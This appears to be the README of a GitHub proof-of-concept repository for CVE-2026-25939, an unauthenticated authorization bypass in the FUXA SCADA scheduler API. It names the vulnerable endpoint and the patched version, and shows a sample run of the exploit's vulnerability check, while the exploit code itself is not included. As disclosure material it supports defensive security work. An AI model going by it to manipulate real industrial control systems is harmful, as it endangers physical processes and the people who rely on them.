mbanyamer/cve-2026-25939-scada-fuxa-unauthenticated-remote-arbitraryProof-of-concept exploit for CVE-2026-25939, an unauthenticated authorization bypass in FUXA SCADA software allowing arbitrary scheduler manipulation and potential RCE.
Mohammed Idrees Banyamer Security Researcher
This repository contains a Proof-of-Concept (PoC) exploit for CVE-2026-25939, a critical authorization bypass vulnerability in FUXA (open-source SCADA/ICS software). The vulnerability allows unauthenticated remote attackers to create, modify, and delete arbitrary scheduler entries, potentially leading to remote code execution and industrial control system manipulation.
The vulnerability exists in the /api/scheduler endpoint where guest user authentication checks were missing in both POST and DELETE handlers. The patch in v1.2.11 added explicit authJwt.isGuestUser() validation.
POST /api/scheduler - Create/Modify schedulersDELETE /api/scheduler - Delete schedulersdocker run -p 1881:1881 -d fuxa:v1.2.10
$ python CVE-2026-25939.py http://192.168.1.100:1881 --check
[*] Checking vulnerability status for http://192.168.1.100:1881
[*] Testing guest access to scheduler API...
[*] GET Response Status: 200
[*] Testing scheduler creation...
[*] POST Response Status: 200
[!] VULNERABLE: Target accepts unauthenticated scheduler creation
[!] This indicates version < 1.2.11